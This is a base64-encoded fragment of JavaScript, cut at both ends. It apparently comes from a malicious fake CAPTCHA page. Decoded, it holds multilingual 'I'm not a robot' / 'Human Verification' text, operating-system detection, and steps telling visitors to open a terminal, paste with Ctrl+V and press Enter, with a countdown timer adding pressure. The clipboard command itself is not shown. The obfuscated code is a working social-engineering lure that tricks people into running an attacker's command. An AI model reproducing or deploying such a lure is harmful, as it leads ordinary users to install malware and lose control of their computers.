NwYXppYXRyaWNlLiBDbWQrU3BhemlvIGFwcmUgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIHB0OiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0V4ZWN1dGUgYXMgZXRhcGFzIG5vIHRlY2xhZG8gTWFjJyxzdGVwMTonPGI+Q21kICsgRXNwYVx1MDBlN288L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J2RlcG9pcyBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0EgdGVjbGEgQ21kIChcdTIzMTgpIGVzdFx1MDBlMSBhbyBsYWRvIGRhIGJhcnJhIGRlIGVzcGFcdTAwZTdvLiBDbWQrRXNwYVx1MDBlN28gYWJyZSBvIFNwb3RsaWdodC4nfSwNCiAgICAgICAgICAgICAgICB6aDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdThiZjdcdTU3MjggTWFjIFx1OTUyZVx1NzZkOFx1NGUwYVx1NjI2N1x1ODg0Y1x1NGVlNVx1NGUwYlx1NmI2NVx1OWFhNCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidcdTcxMzZcdTU0MGVcdTYzMDkgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidcdTIzMTggKENvbW1hbmQpIFx1OTUyZVx1NTcyOFx1N2E3YVx1NjgzY1x1OTUyZVx1NjVjMVx1MzAwMlx1NjMwOSBDbWQrU3BhY2UgXHU2MjUzXHU1ZjAwIFNwb3RsaWdodFx1MzAwMid9LA0KICAgICAgICAgICAgICAgIGphOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J01hY1x1MzA2ZVx1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1MzA2N1x1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI5Zlx1ODg0Y1x1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidFbnRlclx1MzA5Mlx1NjJiY1x1MzA1OScsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MjMxOCAoQ29tbWFuZCkgXHUzMGFkXHUzMGZjXHUzMDZmXHUzMGI5XHUzMGRhXHUzMGZjXHUzMGI5XHUzMGFkXHUzMGZjXHUzMDZlXHU5NmEzXHUzMDY3XHUzMDU5XHUzMDAyQ21kK1NwYWNlXHUzMDY3IFNwb3RsaWdodCBcdTMwOTJcdTk1OGJcdTMwNGRcdTMwN2VcdTMwNTlcdTMwMDInfSwNCiAgICAgICAgICAgICAgICBrbzoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidNYWMgXHVkMGE0XHViY2Y0XHViNGRjXHVjNWQwXHVjMTFjIFx1YjJlOFx1YWNjNFx1Yjk3YyBcdWMyMThcdWQ1ODlcdWQ1NThcdWMxMzhcdWM2OTQnLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonXHVjNzg1XHViODI1IFx1ZDZjNCBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MjMxOChDb21tYW5kKSBcdWQwYTRcdWIyOTQgXHVjMmE0XHVkMzk4XHVjNzc0XHVjMmE0XHViYzE0IFx1YzYyY1x1Yjg2ZFx1YzVkMCBcdWM3ODhcdWMyYjVcdWIyYzhcdWIyZTQuIENtZCtTcGFjZVx1Yjg1YyBTcG90bGlnaHRcdWM3NDQgXHVjNWZkXHViMmM4XHViMmU0Lid9LA0KICAgICAgICAgICAgICAgIHRyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0FkXHUwMTMxbWxhclx1MDEzMSBNYWMga2xhdnllbml6ZGUgZ2VyXHUwMGU3ZWtsZVx1MDE1ZnRpcmluJyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J3NvbnJhIEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonXHUyMzE4IChDb21tYW5kKSB0dVx1MDE1ZnUgYm9cdTAxNWZsdWsgdHVcdTAxNWZ1bnVuIHlhblx1MDEzMW5kYWRcdTAxMzFyLiBDbWQrU3BhY2UgU3BvdGxpZ2h0XHUyMDE5XHUwMTMxIGFcdTAwZTdhci4nfSwNCiAgICAgICAgICAgICAgICBhcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdTA2NDZcdTA2NDFcdTA2NTFcdTA2MzAgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYzOVx1MDY0NFx1MDY0OSBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkIE1hYycsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidcdTA2MmJcdTA2NDUgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidcdTA2NDVcdTA2NDFcdTA2MmFcdTA2MjdcdTA2MmQgXHUyMzE4IChDb21tYW5kKSBcdTA2MjhcdTA2MmNcdTA2MjdcdTA2NDZcdTA2MjggXHUwNjQ1XHUwNjQzXHUwNjI3XHUwNjQ2IFx1MDYyN1x1MDY0NFx1MDY0NVx1MDYzM1x1MDYyN1x1MDY0MVx1MDYyOS4gQ21kK1NwYWNlIFx1MDY0YVx1MDY0MVx1MDYyYVx1MDYyZCBTcG90bGlnaHQuJ30NCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICBsaW51eDogew0KICAgICAgICAgICAgICAgIGVuOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1BlcmZvcm0gdGhlIHN0ZXBzIG9uIHlvdXIgTGludXgga2V5Ym9hcmQnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonb3Igb3BlbiBUZXJtaW5hbCBmcm9tIG1lbnUnLHN0ZXAzOic8Yj5DdHJsICsgU2hpZnQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIG9wZW5zIFRlcm1pbmFsIG9uIFVidW50dSwgR05PTUUsIEtERSwgYW5kIG1vc3QgTGludXggZGVza3RvcHMuJ30sDQogICAgICAgICAgICAgICAgZGU6IHtrZXlib2FyZEluc3RydWN0aW9uczonRlx1MDBmY2hyZW4gU2llIGRpZSBTY2hyaXR0ZSBhdWYgSWhyZXIgTGludXgtVGFzdGF0dXIgZHVyY2gnLHN0ZXAxOic8Yj5TdHJnICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonb2RlciBUZXJtaW5hbCBcdTAwZmNiZXIgZGFzIE1lblx1MDBmYyBcdTAwZjZmZm5lbicsc3RlcDM6JzxiPlN0cmcgKyBVbXNjaGFsdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1N0cmcrQWx0K1QgXHUwMGY2ZmZuZXQgZGFzIFRlcm1pbmFsIHVudGVyIFVidW50dSwgR05PTUUsIEtERSB1bmQgZGVuIG1laXN0ZW4gTGludXgtRGVza3RvcHMuJ30sDQogICAgICAgICAgICAgICAgZnI6IHtrZXlib2FyZEluc3RydWN0aW9uczonRWZmZWN0dWV6IGxlcyBcdTAwZTl0YXBlcyBzdXIgdm90cmUgY2xhdmllciBMaW51eCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvdSBvdXZyZXogVGVybWluYWwgZGVwdWlzIGxlIG1lbnUnLHN0ZXAzOic8Yj5DdHJsICsgTWFqICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRyXHUwMGU5ZSBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBvdXZyZSBsZSB0ZXJtaW5hbCBzdXIgVWJ1bnR1LCBHTk9NRSwgS0RFIGV0IGxhIHBsdXBhcnQgZGVzIGJ1cmVhdXggTGludXguJ30sDQogICAgICAgICAgICAgICAgZXM6IHtrZXlib2FyZEluc3RydWN0aW9uczonUmVhbGl6YSBsb3MgcGFzb3MgZW4gdHUgdGVjbGFkbyBMaW51eCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvIGFicmUgVGVybWluYWwgZGVzZGUgZWwgbWVuXHUwMGZhJyxzdGVwMzonPGI+Q3RybCArIE1heVx1MDBmYXMgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIGFicmUgbGEgdGVybWluYWwgZW4gVWJ1bnR1LCBHTk9NRSwgS0RFIHkgbGEgbWF5b3JcdTAwZWRhIGRlIGVzY3JpdG9yaW9zIExpbnV4Lid9LA0KICAgICAgICAgICAgICAgIGl0OiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0VzZWd1aSBpIHBhc3NhZ2dpIHN1bGxhIHRhc3RpZXJhIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J28gYXByaSBUZXJtaW5hbCBkYWwgbWVudScsc3RlcDM6JzxiPkN0cmwgKyBNYWl1c2MgKyBWPC9iPicsc3RlcDQ6JzxiPkludmlvIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIGFwcmUgaWwgdGVybWluYWxlIHN1IFVidW50dSwgR05PTUUsIEtERSBlIGxhIG1hZ2dpb3IgcGFydGUgZGVpIGRlc2t0b3AgTGludXguJ30sDQogICAgICAgICAgICAgICAgcHQ6IHtrZXlib2FyZEluc3RydWN0aW9uczonRXhlY3V0ZSBhcyBldGFwYXMgbm8gdGVjbGFkbyBMaW51eCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvdSBhYnJhIG8gVGVybWluYWwgcGVsbyBtZW51JyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBhYnJlIG8gdGVybWluYWwgbm8gVWJ1bnR1LCBHTk9NRSwgS0RFIGUgbmEgbWFpb3JpYSBkb3MgZGVza3RvcHMgTGludXguJ30sDQogICAgICAgICAgICAgICAgemg6IHtrZXlib2FyZEluc3RydWN0aW9uczonXHU4YmY3XHU1NzI4IExpbnV4IFx1OTUyZVx1NzZkOFx1NGUwYVx1NjI2N1x1ODg0Y1x1NGVlNVx1NGUwYlx1NmI2NVx1OWFhNCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidcdTYyMTZcdTRlY2VcdTgzZGNcdTUzNTVcdTYyNTNcdTVmMDAgVGVybWluYWwnLHN0ZXAzOic8Yj5DdHJsICsgU2hpZnQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIFx1NTNlZlx1NTcyOCBVYnVudHVcdTMwMDFHTk9NRVx1MzAwMUtERSBcdTdiNDlcdTU5MjdcdTU5MWFcdTY1NzAgTGludXggXHU2ODRjXHU5NzYyXHU0ZTBhXHU2MjUzXHU1ZjAwXHU3ZWM4XHU3YWVmXHUzMDAyJ30sDQogICAgICAgICAgICAgICAgamE6IHtrZXlib2FyZEluc3RydWN0aW9uczonTGludXhcdTMwNmVcdTMwYWRcdTMwZmNcdTMwZGNcdTMwZmNcdTMwYzlcdTMwNjdcdTYyNGJcdTk4MDZcdTMwOTJcdTViOWZcdTg4NGNcdTMwNTdcdTMwNjZcdTMwNGZcdTMwNjBcdTMwNTVcdTMwNDQnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonXHUzMDdlXHUzMDVmXHUzMDZmXHUzMGUxXHUzMGNiXHUzMGU1XHUzMGZjXHUzMDRiXHUzMDg5IFRlcm1pbmFsIFx1MzA5Mlx1OTU4Ylx1MzA0Zicsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgXHUzMDY3IFVidW50dVx1MzAwMUdOT01FXHUzMDAxS0RFIFx1N2I0OVx1MzA2ZVx1NTkyN1x1MzA0ZFx1MzA2YSBMaW51eCBcdTMwYzdcdTMwYjlcdTMwYWZcdTMwYzhcdTMwYzNcdTMwZDdcdTMwNjdcdTMwYmZcdTMwZmNcdTMwZGZcdTMwY2FcdTMwZWJcdTMwOTJcdTk1OGJcdTMwNGRcdTMwN2VcdTMwNTlcdTMwMDInfSwNCiAgICAgICAgICAgICAgICBrbzoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidMaW51eCBcdWQwYTRcdWJjZjRcdWI0ZGNcdWM1ZDBcdWMxMWMgXHViMmU4XHVhY2M0XHViOTdjIFx1YzIxOFx1ZDU4OVx1ZDU1OFx1YzEzOFx1YzY5NCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidcdWI2MTBcdWIyOTQgXHViYTU0XHViMjc0XHVjNWQwXHVjMTFjIFRlcm1pbmFsIFx1YzJlNFx1ZDU4OScsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1RcdWIyOTQgVWJ1bnR1LCBHTk9NRSwgS0RFIFx1YjRmMSBcdWIzMDBcdWJkODBcdWJkODRcdWM3NTggTGludXggXHViMzcwXHVjMmE0XHVkMDZjXHVkMWIxXHVjNWQwXHVjMTFjIFx1ZDEzMFx1YmJmOFx1YjExMFx1Yzc0NCBcdWM1ZmRcdWIyYzhcdWIyZTQuJ30sDQogICAgICAgICAgICAgICAgdHI6IHtrZXlib2FyZEluc3RydWN0aW9uczonQWRcdTAxMzFtbGFyXHUwMTMxIExpbnV4IGtsYXZ5ZW5pemRlIGdlclx1MDBlN2VrbGVcdTAxNWZ0aXJpbicsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOid2ZXlhIG1lblx1MDBmY2RlbiBUZXJtaW5hbCBhXHUwMGU3XHUwMTMxbicsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QsIFVidW50dSwgR05PTUUsIEtERSB2ZSBcdTAwZTdvXHUwMTFmdSBMaW51eCBtYXNhXHUwMGZjc3RcdTAwZmNuZGUgdGVybWluYWxpIGFcdTAwZTdhci4nfSwNCiAgICAgICAgICAgICAgICBhcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdTA2NDZcdTA2NDFcdTA2NTFcdTA2MzAgXHUwNjI3XHUwNjQ0XHUwNjJlXHUwNjM3XHUwNjQ4XHUwNjI3XHUwNjJhIFx1MDYzOVx1MDY0NFx1MDY0OSBcdTA2NDRcdTA2NDhcdTA2MmRcdTA2MjkgXHUwNjQ1XHUwNjQxXHUwNjI3XHUwNjJhXHUwNjRhXHUwNjJkIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J1x1MDYyM1x1MDY0OCBcdTA2MjdcdTA2NDFcdTA2MmFcdTA2MmQgVGVybWluYWwgXHUwNjQ1XHUwNjQ2IFx1MDYyN1x1MDY0NFx1MDY0Mlx1MDYyN1x1MDYyNlx1MDY0NVx1MDYyOScsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgXHUwNjRhXHUwNjQxXHUwNjJhXHUwNjJkIFx1MDYyN1x1MDY0NFx1MDYzN1x1MDYzMVx1MDY0NVx1MDY0YVx1MDYzMlx1MDYyN1x1MDY0NCBcdTA2MzlcdTA2NDRcdTA2NDkgVWJ1bnR1IFx1MDY0OCBHTk9NRSBcdTA2NDggS0RFIFx1MDY0OFx1MDY0NVx1MDYzOVx1MDYzOFx1MDY0NSBcdTA2MjNcdTA2MzNcdTA2MzdcdTA2MmQgTGludXguJ30NCiAgICAgICAgICAgIH0NCiAgICAgICAgfTsNCg0KICAgICAgICB2YXIgU1VQUE9SVEVEX0xBTkdTID0gWydlbicsICdkZScsICdmcicsICdlcycsICdpdCcsICdwdCcsICd6aCcsICdqYScsICdrbycsICd0cicsICdhciddOw0KDQogICAgICAgIGZ1bmN0aW9uIGdldEJyb3dzZXJMYW5ndWFnZUNvZGUoKSB7DQogICAgICAgICAgICB2YXIgYnJvd3Nlckxhbmd1YWdlcyA9IChuYXZpZ2F0b3IubGFuZ3VhZ2VzICYmIG5hdmlnYXRvci5sYW5ndWFnZXMubGVuZ3RoID8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hdmlnYXRvci5sYW5ndWFnZXMgOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW25hdmlnYXRvci5sYW5ndWFnZSB8fCAnZW4nXSkNCiAgICAgICAgICAgICAgICAubWFwKGZ1bmN0aW9uKGxhbmcpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFN0cmluZyhsYW5nIHx8ICcnKS50b0xvd2VyQ2FzZSgpLnNwbGl0KCctJylbMF07DQogICAgICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGZvciAodmFyIGkgPSAwOyBpIDwgYnJvd3Nlckxhbmd1YWdlcy5sZW5ndGg7IGkrKykgew0KICAgICAgICAgICAgICAgIGlmIChTVVBQT1JURURfTEFOR1MuaW5kZXhPZihicm93c2VyTGFuZ3VhZ2VzW2ldKSAhPT0gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGJyb3dzZXJMYW5ndWFnZXNbaV07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByZXR1cm4gJ2VuJzsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIG1lcmdlT3NJbnN0cnVjdGlvblN0ZXBzKHN0cmluZ3MsIGxhbmdDb2RlKSB7DQogICAgICAgICAgICB2YXIgb3MgPSBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSB8fCBkZXRlY3RWaXNpdG9yT3MoKTsNCiAgICAgICAgICAgIGlmIChvcyA9PT0gJ3dpbmRvd3MnKSB7DQogICAgICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IHN0cmluZ3Mud2luZG93c0tleUhlbHA7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciBwYWNrID0gT1NfSU5TVFJVQ1RJT05fUEFDS1Nbb3NdOw0KICAgICAgICAgICAgaWYgKCFwYWNrKSB7DQogICAgICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IHN0cmluZ3Mud2luZG93c0tleUhlbHA7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciBvdmVybGF5ID0gcGFja1tsYW5nQ29kZV0gfHwgcGFjay5lbjsNCiAgICAgICAgICAgIGlmICghb3ZlcmxheSkgew0KICAgICAgICAgICAgICAgIHN0cmluZ3Muc3RlcEtleUhlbHAgPSBzdHJpbmdzLndpbmRvd3NLZXlIZWxwOw0KICAgICAgICAgICAgICAgIHJldHVybiBzdHJpbmdzOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmb3IgKHZhciBrZXkgaW4gb3ZlcmxheSkgew0KICAgICAgICAgICAgICAgIGlmIChvdmVybGF5Lmhhc093blByb3BlcnR5KGtleSkpIHsNCiAgICAgICAgICAgICAgICAgICAgc3RyaW5nc1trZXldID0gb3ZlcmxheVtrZXldOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IG92ZXJsYXkuc3RlcEtleUhlbHAgfHwgc3RyaW5ncy53aW5kb3dzS2V5SGVscDsNCiAgICAgICAgICAgIHJldHVybiBzdHJpbmdzOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gYnVpbGRTdGVwMkh0bWwodHJhbnNsYXRpb25zKSB7DQogICAgICAgICAgICB2YXIgaHRtbCA9IHRyYW5zbGF0aW9ucy5zdGVwMiB8fCAnJzsNCiAgICAgICAgICAgIGlmICh0cmFuc2xhdGlvbnMuc3RlcDJDaGlwKSB7DQogICAgICAgICAgICAgICAgaHRtbCArPSAnPHNwYW4gY2xhc3M9InRlcm0tY2hpcCI+JyArIHRyYW5zbGF0aW9ucy5zdGVwMkNoaXAgKyAnPC9zcGFuPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gaHRtbDsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIGdldFRyYW5zbGF0ZWRTdHJpbmdzKCkgew0KICAgICAgICAgICAgdmFyIHRyYW5zbGF0aW9ucyA9IHtlbjp7bm90Um9ib3RUZXh0OiJJJ20gbm90IGEgcm9ib3QiLHZlcmlmeWluZ1RleHQ6J1ZlcmlmeWluZy4uLicsdmVyaWZpY2F0aW9uVGl0bGU6J0h1bWFuIFZlcmlmaWNhdGlvbicsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0NvbXBsZXRlIHRoZSBzdGVwcyBiZWxvdycsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1BlcmZvcm0gdGhlIHN0ZXBzIG9uIHlvdXIga2V5Ym9hcmQnLHRpbWVSZW1haW5pbmc6J1RpbWUgUmVtYWluaW5nJyx3YXJuaW5nMzBTZWNvbmRzOidMZXNzIHRoYW4gMzAgc2Vjb25kcyByZW1haW5pbmchJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J29yIGNob29zZSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWN5Jyx0ZXJtc0xpbms6J1Rlcm1zJyxzZWN1cml0eU1lc3NhZ2U6J25lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nLicsd2luZG93c0tleUhlbHA6J1RoaXMgaXMgdGhlIFdpbmRvd3Mga2V5LCBsb2NhdGVkIGF0IHRoZSBib3R0b20gb2YgeW91ciBrZXlib2FyZCBiZXR3ZWVuIEN0cmwgYW5kIEFsdCwgdW5kZXIgdGhlIFoga2V5J30sZGU6e25vdFJvYm90VGV4dDonSWNoIGJpbiBrZWluIFJvYm90ZXInLHZlcmlmeWluZ1RleHQ6J1x1MDBkY2JlcnByXHUwMGZjZnVuZ1x1MjAyNicsdmVyaWZpY2F0aW9uVGl0bGU6J01lbnNjaGxpY2hlIFZlcmlmaXppZXJ1bmcnLHZlcmlmaWNhdGlvblN1YnRpdGxlOidGXHUwMGZjaHJlbiBTaWUgZGllIGZvbGdlbmRlbiBTY2hyaXR0ZSBhdXMnLGtleWJvYXJkSW5zdHJ1Y3Rpb25zOidGXHUwMGZjaHJlbiBTaWUgZGllIFNjaHJpdHRlIGF1ZiBJaHJlciBUYXN0YXR1ciBkdXJjaCcsdGltZVJlbWFpbmluZzonVmVyYmxlaWJlbmRlIFplaXQnLHdhcm5pbmczMFNlY29uZHM6J1dlbmlnZXIgYWxzIDMwIFNla3VuZGVuIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvZGVyIFRlcm1pbmFsJyxzdGVwMzonPGI+U3RyZyArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J0RhdGVuc2NodXR6Jyx0ZXJtc0xpbms6J0JlZGluZ3VuZ2VuJyxzZWN1cml0eU1lc3NhZ2U6J211c3MgZGllIFNpY2hlcmhlaXQgSWhyZXIgVmVyYmluZHVuZyBcdTAwZmNiZXJwclx1MDBmY2Zlbi4nLHdpbmRvd3NLZXlIZWxwOidEYXMgaXN0IGRpZSBXaW5kb3dzLVRhc3RlLCB1bnRlbiBhdWYgZGVyIFRhc3RhdHVyIHp3aXNjaGVuIFN0cmcgdW5kIEFsdCwgdW50ZXIgZGVyIFotVGFzdGUnfSxmcjp7bm90Um9ib3RUZXh0OidKZSBuZSBzdWlzIHBhcyB1biByb2JvdCcsdmVyaWZ5aW5nVGV4dDonVlx1MDBlOXJpZmljYXRpb25cdTIwMjYnLHZlcmlmaWNhdGlvblRpdGxlOidWXHUwMGU5cmlmaWNhdGlvbiBodW1haW5lJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonU3VpdmV6IGxlcyBcdTAwZTl0YXBlcyBjaS1kZXNzb3VzJyxrZXlib2FyZEluc3RydWN0aW9uczonRWZmZWN0dWV6IGxlcyBcdTAwZTl0YXBlcyBzdXIgdm90cmUgY2xhdmllcicsdGltZVJlbWFpbmluZzonVGVtcHMgcmVzdGFudCcsd2FybmluZzMwU2Vjb25kczonTW9pbnMgZGUgMzAgc2Vjb25kZXMgIScsc3RlcDE6JzxiPicrV0lORE9XU19MT0dPX1NWRysnICsgWDwvYj4nLHN0ZXAyOic8Yj5JPC9iPicsc3RlcDJDaGlwOidvdSBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudHJcdTAwZTllIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidDb25maWRlbnRpYWxpdFx1MDBlOScsdGVybXNMaW5rOidDb25kaXRpb25zJyxzZWN1cml0eU1lc3NhZ2U6J2RvaXQgdlx1MDBlOXJpZmllciBsYSBzXHUwMGU5Y3VyaXRcdTAwZTkgZGUgdm90cmUgY29ubmV4aW9uLicsd2luZG93c0tleUhlbHA6J0NcJ2VzdCBsYSB0b3VjaGUgV2luZG93cywgZW4gYmFzIGR1IGNsYXZpZXIgZW50cmUgQ3RybCBldCBBbHQsIHNvdXMgbGEgdG91Y2hlIFonfSxlczp7bm90Um9ib3RUZXh0OidObyBzb3kgdW4gcm9ib3QnLHZlcmlmeWluZ1RleHQ6J0NvbXByb2JhbmRvXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonVmVyaWZpY2FjaVx1MDBmM24gaHVtYW5hJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonQ29tcGxldGEgbG9zIHBhc29zIGFiYWpvJyxrZXlib2FyZEluc3RydWN0aW9uczonUmVhbGl6YSBsb3MgcGFzb3MgZW4gdHUgdGVjbGFkbycsdGltZVJlbWFpbmluZzonVGllbXBvIHJlc3RhbnRlJyx3YXJuaW5nMzBTZWNvbmRzOidcdTAwYTFNZW5vcyBkZSAzMCBzZWd1bmRvcyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonbyBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHByaXZhY3lMaW5rOidQcml2YWNpZGFkJyx0ZXJtc0xpbms6J1RcdTAwZTlybWlub3MnLHNlY3VyaXR5TWVzc2FnZTonZGViZSByZXZpc2FyIGxhIHNlZ3VyaWRhZCBkZSB